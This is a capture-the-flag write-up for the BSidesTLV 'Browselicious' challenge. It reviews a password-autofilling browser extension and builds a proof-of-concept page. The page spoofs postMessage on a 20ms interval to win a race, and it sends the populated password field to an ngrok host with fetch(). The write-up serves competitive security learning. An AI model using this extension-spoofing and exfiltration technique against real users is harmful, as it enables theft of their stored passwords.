Introducton
This writeup is for the Browselicious challenge from Misc category in BSidesTLV CTF held online. The challenge had an external link and a js
file that contained browser extension code. The external link was a simple website that had a URL Input field. The URL was probably being processed in a browser on the backend with the extension installed.
To complete the challenge, one had to create a document with a input[type="password"]
field and capture the value of this field when populated by the extension itself. But also, we needed to exploit a race condition here by doing a postMessage
before the extension itself.
Writeup
Server Request
Right after i visited the page, it said Our Extension is coming soon and there was an input field that accepted a URL. So, right away i fired up ngrok
without actually running anything for the proxy and checked if i received anything back.
bash
$ ngrok http 8000
And i got requests back on terminal.
Code Review
Then i opened the js
file and the code has 2 main events: onMessage
and onLoad
. The first event checks for a couple conditions and populates data in the input[type="password"]
field. The second event simply fires a postMessage
to the current window with some data.
javascript
// Listen for messages from the extensionwindow.addEventListener("message", function (event) {// Check if the message is from the extensionif (event.source === window && event.data.action === "populatePassword") {// Find the password input fieldvar passwordField = document.querySelector('input[type="password"]');// Populate the password field with the specified stringif (passwordField) {passwordField.value = (event.data.url === "http://flag") ? "BSidevTLV2023{TheFlag}" : "MyDefaultPassword";}}});// Send a message to populate the password field on page loadwindow.addEventListener("load", function () {window.postMessage({action: "populatePassword",url: window.location.href,password: "YourPassword" // Replace with the desired password}, "*");});
Exploit
To exploit the challenge, we need to implement 3 things in the PoC:
- Create a web page with
input[type="password"]
form field which will accept the data. - Exploit the Race condition by setting an interval in milliseconds.
- In the
postMessage
, set the value ofurl
tohttp://flag
.
Before we head to the exploit work, setup a python
file to act as our server:
python
import http.serverimport socketserverPORT = 8000html_content = r'''PAYLOAD HERE'''# Request Handlerclass MyHandler(http.server.BaseHTTPRequestHandler):def do_GET(self):self.send_response(200)self.send_header('Content-type', 'text/html')self.end_headers()self.wfile.write(html_content.encode('utf-8'))with socketserver.TCPServer(("0.0.0.0", PORT), MyHandler) as httpd:print(f"Serving at port {PORT}")httpd.serve_forever()
Input Field
Put together an html code that as input field:
html
<!DOCTYPE html><html lang="en"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><title>POC Vulnerable website</title></head><body><form><input type="password"></input><script>window.addEventListener('load', () => {let elem = document.querySelector("input");if(elem.value){fetch("https://f5d4-101-50-76-194.ngrok-free.app/?value=" + (elem.value || "nothing"));}});</script></form></body></html>
I fired up this python server, proxied through ngrok:
bash
$ python3 poc.py
Got, the following result:
Race Condition
To exploit the race condition, i simply replaced the addEventListener
with setInterval
having 20ms
.
javascript
setInterval(() => {let elem = document.querySelector("input");if(elem.value){fetch("https://f5d4-101-50-76-194.ngrok-free.app/?value=" + (elem.value || "nothing"));}}, 20);
Post Message
Now, simply put the postMessage
inside the callback function:
javascript
setInterval(() => {window.postMessage({action: "populatePassword",url: "http://flag",password: "YourPassword" // Replace with the desired password}, "*");let elem = document.querySelector("input");if(elem.value){fetch("https://f5d4-101-50-76-194.ngrok-free.app/?value=" + (elem.value || "nothing"));}}, 20);
This time i fired up the server and got the flag:
PoC
The complete Proof of Concept:
python
import http.serverimport socketserverPORT = 8000html_content = r"""<!DOCTYPE html><html lang="en"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><title>POC Vulnerable website</title></head><body><form><input type="password"></input></form><script>setInterval(() => {window.postMessage({action: "populatePassword",url: "http://flag",password: "YourPassword" // Replace with the desired password}, "*");let elem = document.querySelector("input");if(elem.value){fetch("https://f5d4-101-50-76-194.ngrok-free.app/?value=" + (elem.value || "nothing"));}}, 20);</script></body></html>"""class MyHandler(http.server.BaseHTTPRequestHandler):def do_GET(self):self.send_response(200)self.send_header('Content-type', 'text/html')self.end_headers()self.wfile.write(html_content.encode('utf-8'))with socketserver.TCPServer(("0.0.0.0", PORT), MyHandler) as httpd:print(f"Serving at port {PORT}")httpd.serve_forever()